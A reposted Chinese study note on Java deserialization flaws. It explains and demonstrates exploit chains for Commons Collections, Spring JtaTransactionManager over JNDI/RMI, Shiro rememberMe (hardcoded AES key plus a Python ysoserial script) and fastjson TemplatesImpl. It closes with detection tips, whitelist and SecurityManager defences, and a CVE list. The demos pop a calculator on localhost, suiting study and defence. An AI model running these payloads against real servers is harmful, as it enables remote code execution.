学习笔记 | java反序列化漏洞分析

2018-06-18 00:48:47来源:未知 阅读 ()

新老客户大回馈,云服务器低至5折

java反序列化漏洞是与java相关的漏洞中最常见的一种,也是网络安全工作者关注的重点。在cve中搜索关键字serialized共有174条记录,其中83条与java有关;搜索deserialized共有20条记录,其中10条与java有关。这些出现反序列化漏洞的框架和组件包括的大名鼎鼎的spring,其中还有许多Apache开源项目中的基础组件。例如Apache Commons Collections。 这些基础组件大量被其他框架或组件引用,一旦出现漏洞就会引起大面积的网络安全事故,后果非常严重。比较出名的反序列化漏洞有:

  • 2015 - Apache Commons Collections
  • 2016 - Spring RMI
  • 2017 - Jackson,FastJson

反序列化漏洞总结给出了近几年出现的反序列化漏洞。

本文主要对java反序列化机制进行简要说明,并对java反序列化漏洞的成因进行分析以及提出一些用于防止反序列化产生安全问题的手段。

java反序列化简介

序列化与反序列化是java提供的用于将对象进行持久化便于存储或传输的手段。序列化可以将对象存储在文件或数据库中,同时也可以将序列化之后的对象通过网络传输;反序列化可以将序列化后的对象重新加载到内存中,成为运行时的对象。

在java中,主要通过ObjectOutputStream中的writeObject()方法对对象进行序列化操作,ObjectInputStream 中的readObject() 方法对对象进行反序列化操作。需要序列化的对象必须实现@serializable接口。需要注意的是,如果被序列化或反序列化的类中存在writeObject()|readObject()方法,则在进行序列化|反序列化之前就会调用该方法。这通常是引起反序列化漏洞的一个重要特性。下面通过一段简单的代码认识一下java的序列化与反序列化:

首先定义一个User类用于序列化:

  public class User implements Serializable{
        private int age;
        private String username;
        private String password;
        User(){
            this.age = 10;
            this.username = "test";
            this.password = "test";
        }
        //在序列化之前被调用
        private void writeObject(ObjectOutputStream os) throws IOException {
?
            os.defaultWriteObject();
            System.out.println("readObject is running!");
?
        }
        //在反序列化之后被调用
        private void readObject(ObjectInputStream is) throws IOException, ClassNotFoundException {
?
            is.defaultReadObject();
            System.out.println("writeObject is running!");
?
        }
        @Override
        public String toString() {
            return "User{" +
                    "age=" + age +
                    ", username='" + username + '\'' +
                    ", password='" + password + '\'' +
                    '}';
            }
     }

然后进行序列化|反序列化操作:

public static void main(String args[]) throws IOException, ClassNotFoundException {

      
        User user = new User();
        //将序列化对象存储在serialize_data中
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("serialize_data"));
        System.out.println("serialize");
        oos.writeObject(user);//序列化
        oos.close();
        //存储在serialize_data中的对象反序列化
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("serialize_data"));
        System.out.println("deserialize");
        User userDeserialize = (User)ois.readObject();//反序列化
        System.out.println(userDeserialize.toString());
        ois.close();
?
    }
    //输出结果
    /*
    serialize
    readObject is running!
    deserialize
    writeObject is running!
    User{age=10, username='test', password='test'}      
    */
    

可以看出,自定义的readObject|writeObject方法确实在序列化反与反序列化的过程中被调用了。

Apache Commons Collections 反序列化漏洞

下面就从一个实例来看一下java反序列化如何导致系统命令执行的。

Commons Collections是一个apache开源的集合类工具组件,在2015年爆出有反序列化漏洞。有大量的框架受到其影响。如:WebLogicJenkinsJboss等。

Conmmons Collections中有一个TransformedMap ,其作用是对普通的map进行装饰,在被装饰过的map添加或者修改键值对时会首先调用其中Transformer 类的transform() 方法。TransformedMap 的构造函数可以传入单个Transformer。多个Transformer 构成的数组还可以构成执行链。听起来很复杂,下面看一下代码:

 








public class Main {

    public static void main(String[] args) throws IOException, ClassNotFoundException {
        //Transformer 有很多种,ConstantTransformer的作用是对于任何输入的参数都返回构造函数输入的对象
        Transformer transformer = new ConstantTransformer(new Integer(3));
       //普通map
        Map<String,String> rawMap = new HashMap<String, String>();
        //装饰后的map
        Map map = TransformedMap.decorate(rawMap,transformer,transformer);
        map.put("dfd","dfsf");
       //输出装饰后内容
        map.forEach((k,v)->{
            System.out.println(k+":"+v);
        });
    }
}
//console output
//3:3

从输出结果可以看出,放在rawMap 中的键值对已经被转换成了ConstantTransformer 构造函数传入的整数对象。 因此我们可以利用InvokerTransformer 构造一个调用链来进行恶意命令的执行。代码如下:

 








public class Main {

    public static void main(String[] args) throws IOException, ClassNotFoundException {
         Transformer[] transformers = new Transformer[]{
         new ConstantTransformer(Runtime.class),
         new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
         new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
         new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"evilCmd"})
         };
         Transformer transformer = new ChainedTransformer(transformers);
         Map<String,String> rawMap = new HashMap<>();
         Map map = TransformedMap.decorate(rawMap,null,transformer);
         map.put("aaa","bbb");
?
    }
}

其中构造了几个InvokerTransformer ,其中每一个transform()的输入分别是前一个transform() 方法的输出。因此这段代码翻译过来等价于:

 ((Runtime)Runtime.class.getMethod("getRuntime",null).invoke(null,null)).exec("evilCmd");

这样就可以通过Transform调用链来执行系统命令。

此时,我们提到的Commons Collections并没有与反序列有关,也不能系统命令执行。但是由于AnnotationInvocationHandler这个类的存在,和上面的一些点结合起来,就产生了安全隐患。

class AnnotationInvocationHandler implements InvocationHandler, Serializable {

    private static final long serialVersionUID = 6182022883658399397L;
    private final Class<? extends Annotation> type;
    private final Map<String, Object> memberValues;
    private transient volatile Method[] memberMethods = null;
?
    AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {
        Class[] var3 = var1.getInterfaces();
        if (var1.isAnnotation() && var3.length == 1 && var3[0] == Annotation.class) {
            this.type = var1;
            this.memberValues = var2;
        } else {
            throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
        }
    }
  
   private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
        GetField var2 = var1.readFields();
        Class var3 = (Class)var2.get("type", (Object)null);
        Map var4 = (Map)var2.get("memberValues", (Object)null);
        AnnotationType var5 = null;
?
        try {
            var5 = AnnotationType.getInstance(var3);
        } catch (IllegalArgumentException var13) {
            throw new InvalidObjectException("Non-annotation type in annotation serial stream");
        }
?
        Map var6 = var5.memberTypes();
        LinkedHashMap var7 = new LinkedHashMap();
        String var10;
        Object var11;
        for(Iterator var8 = var4.entrySet().iterator(); var8.hasNext(); var7.put(var10, var11)) {
            Entry var9 = (Entry)var8.next();
            var10 = (String)var9.getKey();
            var11 = null;
            Class var12 = (Class)var6.get(var10);
            if (var12 != null) {
                var11 = var9.getValue();
                if (!var12.isInstance(var11) && !(var11 instanceof ExceptionProxy)) {
                    var11 = (new AnnotationTypeMismatchExceptionProxy(var11.getClass() + "[" + var11 + "]")).setMember((Method)var5.members().get(var10));
                }
            }
        }
       ...
    }
}

AnnotationInvocationHandler是这样一个类:

  • 可序列化
  • 有一个Map 类型的属性
  • readObject() 方法中调用了Map属性setValue()方法。

如果攻击者进行构造一个AnnotationInvocationHandler对象,其Map 属性的实际类型为TransformedMap ,并且将其中的Transformer构造为恶意调用链。那么在反序列化过程中就会执行readObject(),继而执行TransformedMap属性的setValue()方法,导致TransformedMap中值的改变,然后触发攻击者构造的恶意恶意调用链。最后产生系统命令执行的漏洞。漏洞的逻辑如下:

Deserialize -> call readObject() -> call setValue()-> call transform() -> call Runtime.exec()

Spring RMI反序列化漏洞

JNDI在了解Spring RMI反序列化漏洞之前需要了解RMI以及JNDI这两个概念:

  • RMI(Remote Method Invocation) 即Java远程方法调用,一种用于实现远程过程调用的应用程序编程接口
  • JNDI (Java Naming and Directory Interface)是一个应用程序设计的API,为开发人员提供了查找和访问各种命名和目录服务的通用、统一的接口

JNDIRMI的主要关系是RMI注册的服务可以通过JNDIAPI访问。在讨论到Spring反序列化漏洞之前,先看看如果通过JNDI来调用RMI注册的服务。

在使用RMI注册服务时有两个较为重要的属性className和codebase url。className指明了服务的地址和名称,而codebase url指明了调用时对象的位置。一个简单的RMI注册服务如下:

  Registry registry = LocateRegistry.createRegistry(1999);
        Reference reference = new Reference("RMIObject", "RMIObject",
                "http://127.0.0.1:8000/");//实际加载的类为http://127.0.0.1:8000/RMIObject.class
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
        registry.bind("RMI", referenceWrapper);//服务名称为RMI

当通过jndi的lookup()方法来查找127.0.0.1:1999/RMI服务时会加载http://127.0.0.1:8000/RMIObject.class这个类,加载成功后会调用RMIObject的构造方法。如果构造方法中存在恶意代码,就会引起RCE。

而在spring-tx.jarJtaTransactionManager中存在readObject方法。该方法代码如下:

 private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {

        ois.defaultReadObject();
        this.jndiTemplate = new JndiTemplate();
        this.initUserTransactionAndTransactionManager();
        this.initTransactionSynchronizationRegistry();
    }

其中initUserTransactionAndTransactionManager()又调用了方法lookupUserTransaction()lookupUserTransaction()代码如下:

protected UserTransaction lookupUserTransaction(String userTransactionName) throws TransactionSystemException {

   ...
     return (UserTransaction)this.getJndiTemplate().lookup(userTransactionName, 
                                                            UserTransaction.class);
   ...
}

其中userTransactionName就是我们上面提到的RMI服务地址。因此,如果我们构造一个JtaTransactionManager对象,并且将这个对象的userTransactionName设置为我们自己的RMI服务器,并且使这个类在目标服务器上进行反序列化,在反序列化的过程中会执行lookup()方法,而lookup方法的参数即RMI服务的地址是我们自己设置的地址,通过这个地址会返回一个恶意的对象,然后在实例化该对象的过程中就产生了RCE。流程图如下:

反序列化 -> 调用 readObject() -> 调用 initUserTransactionAndTransactionManager()

  -> 调用 lookupUserTransaction() -> 调用 lookup() -> 实例化含有恶意代码的类 -> 造成命令执行

在本机搭建一个测试环境,Server类模拟接受数据并进行反序列化的服务器:

ServerSocket serverSocket = new ServerSocket(9999);

System.out.println("Server started on port "+serverSocket.getLocalPort());
while(true) {
    Socket socket=serverSocket.accept();
    System.out.println("Connection received from "+socket.getInetAddress());
    ObjectInputStream objectInputStream = new ObjectInputStream(socket.getInputStream());
    try {
        Object object = objectInputStream.readObject();
        System.out.println("Read object "+object);
    } catch(Exception e) {
        System.out.println("Exception caught while reading object");
        e.printStackTrace();
    }
}

RMIServer模拟我们的codebase服务器:

 








//main:

  Registry registry = LocateRegistry.createRegistry(1999);
        Reference reference = new Reference("RMIObject", "RMIObject",
                "http://127.0.0.1:8000/");//实际加载的类为http://127.0.0.1:8000/RMIObject.class
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
        registry.bind("RMI", referenceWrapper);//服务名称为RMI
?
        //开启http服务
        HttpServer httpServer = HttpServer.create(new InetSocketAddress(8000), 0);
        httpServer.createContext("/",new HttpFileHandler());
        httpServer.start();
//HttpFileHandler:
 System.out.println("new http request from "+httpExchange.getRemoteAddress()+" "+httpExchange.getRequestURI());
                InputStream inputStream = HttpFileHandler.class.getResourceAsStream(httpExchange.getRequestURI().getPath().replace("/",""));
                ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
                while(inputStream.available()>0) {
                    byteArrayOutputStream.write(inputStream.read());
                }
                byte[] bytes = byteArrayOutputStream.toByteArray();
                httpExchange.sendResponseHeaders(200, bytes.length);
                httpExchange.getResponseBody().write(bytes);
                httpExchange.close();

RMIObject为payload:

 








private static String exec(String cmd) throws Exception {

        String sb = "";
        BufferedInputStream in = new BufferedInputStream(Runtime.getRuntime().exec(cmd).getInputStream());
        BufferedReader inBr = new BufferedReader(new InputStreamReader(in));
        String lineStr;
        while ((lineStr = inBr.readLine()) != null)
            sb += lineStr + "\n";
        inBr.close();
        in.close();
        return sb;
    }
    public RMIObject() throws Exception {
        String cmd="gnome-calculator";
        throw new Exception(exec(cmd));
    }

然后使用Client发送payload:

 Socket socket=new Socket("127.0.0.1",9999);

            String jndiAddress = "rmi://127.0.0.1:1999/RMI";
            org.springframework.transaction.jta.JtaTransactionManager object = new org.springframework.transaction.jta.JtaTransactionManager();
            object.setUserTransactionName(jndiAddress);
            ObjectOutputStream objectOutputStream = new ObjectOutputStream(socket.getOutputStream());
            objectOutputStream.writeObject(object);
            objectOutputStream.flush();//发送payload
            while(true) {
                Thread.sleep(1000);
            }

运行结果为:

shiro反序列化漏洞

Apache Shiro是一个Java安全框架,有身份验证、授权、密码学和会话管理等功能。shiro官方编号为550的issue曾报出反序列化漏洞。根据官方的issuehttps://issues.apache.org/jira/browse/SHIRO-550。漏洞的出现在CookieRememberMeManager中。shiro将一个用于进行验证的类编码、加密后保存在cookie中。在需要对一个用户的身份进行鉴定时,CookieRememberMeManager会进行以下步骤:

  1. 获取用户cookie中rememberMe对应的值
  2. Base64解码
  3. AES解密
  4. 反序列步骤3得到的内容

可以看出步骤4变进行了序列化与反序列化,这里也就有了RCE的机会。但是从第3点看,在进行反序列化之前还进行了AES解密。这里简短的提一下AES是一种对称加密方式,也就是加密密钥和解密密钥相同。当我们知道AES加密的密钥IV(初始化向量)模式这三个要点之后就可以构造一个服务器能够正常解密的数据包。当然,攻击者一般不知道密钥的内容,但是CookieRememberMeManager是硬编码在源代码中的,可以随意下载查看。同时大部分的用户并不会对初始的密钥进行修改,这也就导致了漏洞的产生。这里也说明了在使用一些开源组件的时候,最开始一定要对一些默认的安全选项、信息进行修改,避免产生安全漏洞。

回到CookieRememberMeManager源代码上,在其父类AbstractRememberMeManager中可以看到属性DEFAULT_CIPHER_KEY_BYTES,也就是硬编码的密钥为:

 private static final byte[] DEFAULT_CIPHER_KEY_BYTES = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");

然后查看其中的encrypt()方法:

 protected byte[] encrypt(byte[] serialized) {

        byte[] value = serialized;
        CipherService cipherService = this.getCipherService();
        if (cipherService != null) {
            ByteSource byteSource = cipherService.encrypt(serialized, this.getEncryptionCipherKey());
            value = byteSource.getBytes();
        }
        return value;
    }
其中使用了CipherService进行加密,其真正类型DefaultBlockCipherService中构造函数中有:
public DefaultBlockCipherService(String algorithmName) {

        ...
        this.modeName = OperationMode.CBC.name();
        ...
 }

这里里可以看出加密的采用的CBC模式。再查看DefaultBlockCipherService的父类JcaCipherService其中一个函数:

 public void encrypt(InputStream in, OutputStream out, byte[] key) throws CryptoException {

    ...
    this.encrypt(in, out, key, iv, generate);
}

可以看出shiro直接将IV写入OutputStream中,随后写入Cookie中。而从initializationVectorSize还可以得知IV的长度为128比特,也就是16字节。因此我们便能推断出cookie的前16个字节为IV。到此AES加密的三要素密钥,IV,模式就已经完全取得了。

最后在DefaultSerializer中找到deserialize()方法:

public T deserialize(byte[] serialized) throws SerializationException {

        if (serialized == null) {
            String msg = "argument cannot be null.";
            throw new IllegalArgumentException(msg);
        } else {
            ByteArrayInputStream bais = new ByteArrayInputStream(serialized);
            BufferedInputStream bis = new BufferedInputStream(bais);
?
            try {
                ObjectInputStream ois = new ClassResolvingObjectInputStream(bis);
                T deserialized = ois.readObject();
                ois.close();
                return deserialized;
            } catch (Exception var6) {
                String msg = "Unable to deserialze argument byte array.";
                throw new SerializationException(msg, var6);
            }
        }
    }

可以看到其中有readObject() 方法,然后可以采用Apache Commons Collections 反序列化漏洞提到的方法构造payload即可。具体流程如下:

  1. 构造恶意类并序列化
  2. 将序列化后的数据利用AES进行加密
  3. 将加密后的数据进行base64编码
  4. 设置cooke : rememberMe = base64编码得到的数据
  5. 发送payload

使用python和ysoserial构造exp:

 








import sys

import base64
import uuid
from random import Random
import subprocess
from Crypto.Cipher import AES
 
def encode_rememberme(command):
    popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.5-SNAPSHOT-all.jar', 'CommonsCollections2', "gnome-calculator"], stdout=subprocess.PIPE)
    BS   = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    key  =  "kPH+bIxk5D2deZiIxcaaaA=="
    mode =  AES.MODE_CBC
    iv   =  uuid.uuid4().bytes
    encryptor = AES.new(base64.b64decode(key), mode, iv)
    file_body = pad(popen.stdout.read())
    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
    return base64_ciphertext
if __name__ == '__main__':
    payload = encode_rememberme(sys.argv[1])    
    with open("/tmp/payload.cookie", "w") as fpw:
        print("rememberMe={}".format(payload.decode()), file=fpw)

在本地搭建一个shiro应用,端口为8080,使用httpie发送payload:

http :8080/hello Cookie:cat /tmp/payload.cookie

可以弹出计算器:

fastjson反序列化

fastjson是由阿里巴巴维护的一个处理json数据的一个开源库,在2017年爆出有反序列化漏洞。先看一下基本用法:

User user = new User();
user.setUsername("lily");
user.setSex("girl");
String userStr = JSON.toJSONString(user, SerializerFeature.WriteClassName);
System.out.println(userStr);
Object user2 = JSON.parseObject(userStr);
System.out.println(user2);
//output:
run!
{"@type":"com.knownsec.fastjson.rce.User","Sex":"girl","Username":"lily","sex":"girl","username":"lily"}
run!
{"username":"lily","sex":"girl","Username":"lily","Sex":"girl"}

其中User类如下:

public class User {

    public String Username;
    public String Sex;
    public String getUsername() {
        return Username;
    }
    public void setUsername(String username) {
        System.out.println("run!");
        Username = username;
    }
    public String getSex() {
        return Sex;
    }
    public void setSex(String sex) {
        Sex = sex;
    }
}

可以看出在序列化和反序列化的同时都会调用set方法。因此如果能找到一个类,类中的某一个set方法可以由我们控制,就有机会产生RCE。

而在类com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl中,有一个属性为_outputProperties,理论上来说_outputProperties对应的set方法为get_outputProperties(),但是fastjson的特性,自动将getOutputProperties()匹配为对应get方法。因此在fastjson对TemplatesImpl类型进行反序列化时会调用getOutputProperties()方法。而接下来又会调用一系列方法,最后达到getTransletInstance(),该方法中会根据TemplatesImpl的_bytecodes实例化一个对象,而该属性正好是我们可控制的。完整的调用栈为:

getTransletInstance()

getTransletInstance( )
newTransformer()
getOutputProperties()

其中getTransletInstance()代码如下:

private Translet getTransletInstance()

    throws TransformerConfigurationException {
      try {
          if (_name == null) return null;
          if (_class == null) defineTransletClasses();
          AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
          ...
          return translet;
      }
      catch (InstantiationException e) {
      }
      catch (IllegalAccessException e) {
      }
    }

可以看出,在newInstance()的时候会将示例的类型强转为AbstractTranslet,因此构造的payload的类一定要继承AbstractTranslet。最后构造一个本地测试环境:

public class POC {

    public static String readClass(String cls){
        ByteArrayOutputStream bos = new ByteArrayOutputStream();
            try {
            IOUtils.copy(new FileInputStream(new File(cls)), bos);
        } catch (IOException e) {
            e.printStackTrace();
        }
        return Base64.encodeBase64String(bos.toByteArray());
    }
    public static void test_autoTypeDeny() throws Exception {  ParserConfig config = new ParserConfig();
    final String evilClassPath = "/home/lishion/IdeaProjects/springrec/target/classes/com/fastjson/rce/Test.class";
    String evilCode = readClass(evilClassPath);
    final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
    String text1 = "{\"@type\":\"" + NASTY_CLASS +
        "\",\"_bytecodes\":[\""+evilCode+"\"],'_name':'a.b',\"_outputProperties\":{ }," +
        "\"_name\":\"a\",\"_version\":\"1.0\",\"allowedProtocols\":\"all\"}\n";
    System.out.println(text1);
    Object obj = JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField);
    }
    public static void main(String args[]){
        try {
            test_autoTypeDeny();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

最后弹出计算器:

如何发现反序列化漏洞

  1. 0xaced0005为java反序列化头标志,可以通过嗅探网络流量中是否包含该二进制序列来判断服务器是否对网络数据进行序列化。
  2. 进行代码审计,分析重写了readObject()的类和使用了ObjectInputStream方法中是否存在不安全逻辑。
  3. java RMI 技术基于反序列化,其默认端口为1099
  4. 查看项目是否依赖于已经产生反序列化漏洞的组件。

java反序列化漏洞防护

对于由开源项目和各种开源组件引起的漏洞通常是无法预料的,使用这些项目的的开发者也不太可能在使用之前对所有依赖项目和组件都进行安全分析。因此对于这些漏洞,开发者要做到经常关注一些漏洞公布平台,在发现漏洞后做到及早修复,将损失降到最低。

对于自己所编写的代码,可以通过以下手段来防范反序列化安全问题:

  1. RMI中使用反序列化时,序列化字节的来源基本是协同工作的服务器。如果普通的用户不会与服务器进行反序列化的数据交互,那么有必要对反序列化数据来源进行认证,避免反序列化不信任来源的数据。

  2. 对反序列化的类名进行白名单校验。继承ObjectInputStream重写resolveClass()方法可以实现:

     
    
    
    
    
    
    
    
    
    public final class SafeObjectInputStream extends ObjectInputStream{
    
        ...
        private List safeClassNames = new ArrayList();
        safeClassNames.add("safeClass1");
        safeClassNames.add("safeClass1");
        safeClassNames.add("safeClass1");
        ...
        protected Class<?> resolveClass(ObjectStreamClass desc)
                throws IOException, ClassNotFoundException{
             if(!safeClassNames.contains(desc.getName())){ //如果类名不在白名单中,抛出异常
                throw new ClassNotFoundException(desc.getName()+" is not safe!");
            }
            returnsuper.resolveClass(desc);
        }
        ...
    }

     

  3. 禁止JVM执行外部命令Runtime.exec()
    SecurityManager originalSecurityManager = System.getSecurityManager();
    
              if (originalSecurityManager == null) {
                  // 创建自己的SecurityManager
                  SecurityManager sm = new SecurityManager() {
                      private void check(Permission perm) {
                          // 禁止exec
                          if (perm instanceof java.io.FilePermission) {
                              String actions = perm.getActions();
                              if (actions != null && actions.contains("execute")) {
                                 throw new SecurityException("execute denied!");
                             }
                         }
                         // 禁止设置新的SecurityManager,保护自己
                         if (perm instanceof java.lang.RuntimePermission) {
                             String name = perm.getName();
                             if (name != null && name.contains("setSecurityManager")) {
                                 throw new SecurityException("System.setSecurityManager denied!");
                            }
                         }
                     }
     
                     @Override
                     public void checkPermission(Permission perm) {
                         check(perm);
                     }
     
                     @Override
                     public void checkPermission(Permission perm, Object context) {
                         check(perm);
                     }
                 };
     
                 System.setSecurityManager(sm);
             }

    cve上与java相关的反序列化漏洞

    CVE-2018-0147: vulnerability in Java deserialization used by Cisco Secure Access Control System (ACS) prior to release 5.8 patch 9 could allow an unauthenticated, remote attacker to execute arbitrary commands on a...

    CVE-2017-9844:AP NetWeaver 7400.12.21.30308 allows remote attackers to cause a denial of service and possibly execute arbitrary code via a crafted serialized Java object in a request to metadatauploader, aka SAP S...

    CVE-2017-7504:TTPServerILServlet.java in JMS over HTTP Invocation Layer of the JbossMQ implementation, which is enabled by default in Red Hat Jboss Application Server <= Jboss 4.X does not restrict the classes for...

    CVE-2017-5983:he JIRA Workflow Designer Plugin in Atlassian JIRA Server before 6.3.0 improperly uses an XML parser and deserializer, which allows remote attackers to execute arbitrary code, read arbitrary files, o...

    CVE-2017-5878:he AMF unmarshallers in Red5 Media Server before 1.0.8 do not restrict the classes for which it performs deserialization, which allows remote attackers to execute arbitrary code via crafted serialize...

    CVE-2017-5586:penText Documentum D2 (formerly EMC Documentum D2) 4.x allows remote attackers to execute arbitrary commands via a crafted serialized Java object, related to the BeanShell (bsh) and Apache Commons Co...

    CVE-2017-15708:n Apache Synapse, by default no authentication is required for Java Remote Method Invocation (RMI). So Apache Synapse 3.0.1 or all previous releases (3.0.0, 2.1.0, 2.0.0, 1.2, 1.1.2, 1.1.1) allows re...

    CVE-2017-1000353:enkins versions 2.56 and earlier as well as 2.46.1 LTS and earlier are vulnerable to an unauthenticated remote code execution. An unauthenticated remote code execution vulnerability allowed attackers...

    CVE-2016-9299:he remoting module in Jenkins before 2.32 and LTS before 2.19.3 allows remote attackers to execute arbitrary code via a crafted serialized Java object, which triggers an LDAP query to a third-party s...

    CVE-2016-7065:he JMX servlet in Red Hat JBoss Enterprise Application Platform (EAP) 4 and 5 allows remote authenticated users to cause a denial of service and possibly execute arbitrary code via a crafted serializ...

    CVE-2016-6814:hen an application with unsupported Codehaus versions of Groovy from 1.7.0 to 2.4.3, Apache Groovy 2.4.4 to 2.4.7 on classpath uses standard Java serialization mechanisms, e.g. to communicate between...

    CVE-2016-6809:pache Tika before 1.14 allows Java code execution for serialized objects embedded in MATLAB files. The issue exists because Tika invokes JMatIO to do native deserialization.

    ...

    CVE-2016-6793:he DiskFileItem class in Apache Wicket 6.x before 6.25.0 and 1.5.x before 1.5.7 allows remote attackers to cause a denial of service (infinite loop) and write to, move, and delete files with the perm...

    CVE-2016-6501:Frog Artifactory before 4.11 allows remote attackers to execute arbitrary code via an LDAP attribute with a crafted serialized Java object, aka LDAP entry poisoning.

    ...

    CVE-2016-6500:nspecified methods in the RACF Connector component before 1.1.1.0 in ForgeRock OpenIDM and OpenICF improperly call the SearchControls constructor with returnObjFlag set to true, which allows remote a...

    CVE-2016-6496:he LDAP directory connector in Atlassian Crowd before 2.8.8 and 2.9.x before 2.9.5 allows remote attackers to execute arbitrary code via an LDAP attribute with a crafted serialized Java object, aka L...

    CVE-2016-6199:bjectSocketWrapper.java in Gradle 2.12 allows remote attackers to execute arbitrary code via a crafted serialized object.

    ...

    CVE-2016-5983:BM WebSphere Application Server (WAS) 7.0 before 7.0.0.43, 8.0 before 8.0.0.13, 8.5 before 8.5.5.11, 9.0 before 9.0.0.2, and Liberty before 16.0.0.4 allows remote authenticated users to execute arbit...

    CVE-2016-5003:he Apache XML-RPC (aka ws-xmlrpc) library 3.1.3, as used in Apache Archiva, allows remote attackers to execute arbitrary code via a crafted serialized Java object in an ex:serializable element.

    ...

    CVE-2016-4385:he RMI service in HP Network Automation Software 9.1x, 9.2x, 10.0x before 10.00.02.01, and 10.1x before 10.11.00.01 allows remote attackers to execute arbitrary commands via a crafted serialized Java...

    CVE-2016-4373:he AdminUI in HPE Operations Manager (OM) before 9.21.130 on Linux, Unix, and Solaris allows remote attackers to execute arbitrary commands via a crafted serialized Java object, related to the Apache...

    CVE-2016-4372:PE iMC PLAT before 7.2 E0403P04, iMC EAD before 7.2 E0405P05, iMC APM before 7.2 E0401P04, iMC NTA before 7.2 E0401P01, iMC BIMS before 7.2 E0402P02, and iMC UAM_TAM before 7.2 E0405P05 allow remote ...

    CVE-2016-4369:PE Discovery and Dependency Mapping Inventory (DDMi) 9.30, 9.31, 9.32, 9.32 update 1, 9.32 update 2, and 9.32 update 3 allows remote authenticated users to execute arbitrary commands via a crafted se...

    CVE-2016-4368:PE Universal CMDB 10.0 through 10.21, Universal CMDB Configuration Manager 10.0 through 10.21, and Universal Discovery 10.0 through 10.21 allow remote attackers to execute arbitrary commands via a cr...

    CVE-2016-3642:he RMI service in SolarWinds Virtualization Manager 6.3.1 and earlier allows remote attackers to execute arbitrary commands via a crafted serialized Java object, related to the Apache Commons Collect...

    CVE-2016-2510:eanShell (bsh) before 2.0b6, when included on the classpath by an application that uses Java serialization or XStream, allows remote attackers to execute arbitrary code via crafted serialized data, r...

    CVE-2016-2170:pache OFBiz 12.04.x before 12.04.06 and 13.07.x before 13.07.03 allow remote attackers to execute arbitrary commands via a crafted serialized Java object, related to the Apache Commons Collections li...

    CVE-2016-2009:PE Network Node Manager i (NNMi) 9.20, 9.23, 9.24, 9.25, 10.00, and 10.01 allows remote authenticated users to execute arbitrary commands via a crafted serialized Java object, related to the Apache C...

    CVE-2016-2003:PE P9000 Command View Advanced Edition Software (CVAE) 7.x and 8.x before 8.4.0-00 and XP7 CVAE 7.x and 8.x before 8.4.0-00 allow remote attackers to execute arbitrary commands via a crafted serializ...

    CVE-2016-2000:PE Asset Manager 9.40, 9.41, and 9.50 and Asset Manager CloudSystem Chargeback 9.40 allow remote attackers to execute arbitrary commands via a crafted serialized Java object, related to the Apache Co...

    CVE-2016-1999:he server in HP Release Control 9.13, 9.20, and 9.21 allows remote attackers to execute arbitrary commands via a crafted serialized Java object, related to the Apache Commons Collections library.

    ...

    CVE-2016-1998:PE Service Manager (SM) 9.3x before 9.35 P4 and 9.4x before 9.41.P2 allows remote attackers to execute arbitrary commands via a crafted serialized Java object, related to the Apache Commons Collectio...

    CVE-2016-1997:PE Operations Orchestration 10.x before 10.51 and Operations Orchestration content before 1.7.0 allow remote attackers to execute arbitrary commands via a crafted serialized Java object, related to t...

    CVE-2016-1986:P Continuous Delivery Automation (CDA) 1.30 allows remote attackers to execute arbitrary commands via a crafted serialized Java object, related to the Apache Commons Collections library.

    ...

    CVE-2016-1985:PE Operations Manager 8.x and 9.0 on Windows allows remote attackers to execute arbitrary commands via a crafted serialized Java object, related to the Apache Commons Collections library.

    ...

    CVE-2016-1114:dobe ColdFusion 10 before Update 19, 11 before Update 8, and 2016 before Update 1 allows remote attackers to execute arbitrary commands via a crafted serialized Java object, related to the Apache Com...

    CVE-2016-10304:he SAP EP-RUNTIME component in SAP NetWeaver AS JAVA 7.5 allows remote authenticated users to cause a denial of service (out-of-memory error and service instability) via a crafted serialized Java obj...

    CVE-2016-0958:dobe Experience Manager 5.6.1, 6.0.0, and 6.1.0 might allow remote attackers to have an unspecified impact via a crafted serialized Java object.

    ...

    CVE-2016-0276:BM Financial Transaction Manager (FTM) for ACH Services for Multi-Platform 2.1.1.2 and 3.0.0.x before fp0013, Financial Transaction Manager (FTM) for Check Services for Multi-Platform 2.1.1.2 and 3.0...

    CVE-2015-8765:ntel McAfee ePolicy Orchestrator (ePO) 4.6.9 and earlier, 5.0.x, 5.1.x before 5.1.3 Hotfix 1106041, and 5.3.x before 5.3.1 Hotfix 1106041 allow remote attackers to execute arbitrary code via a crafte...

    CVE-2015-8360:n unspecified resource in Atlassian Bamboo before 5.9.9 and 5.10.x before 5.10.0 allows remote attackers to execute arbitrary Java code via serialized data to the JMS port.

    ...

    CVE-2015-8103:he Jenkins CLI subsystem in Jenkins before 1.638 and LTS before 1.625.2 allows remote attackers to execute arbitrary code via a crafted serialized Java object, related to a problematic webapps/ROOT/W...

    CVE-2015-7501:ed Hat JBoss A-MQ 6.x; BPM Suite (BPMS) 6.x; BRMS 6.x and 5.x; Data Grid (JDG) 6.x; Data Virtualization (JDV) 6.x and 5.x; Enterprise Application Platform 6.x, 5.x, and 4.3.x; Fuse 6.x; Fuse Service ...

    CVE-2015-7450:erialized-object interfaces in certain IBM analytics, business solutions, cognitive, IT infrastructure, and mobile and social products allow remote attackers to execute arbitrary commands via a craft...

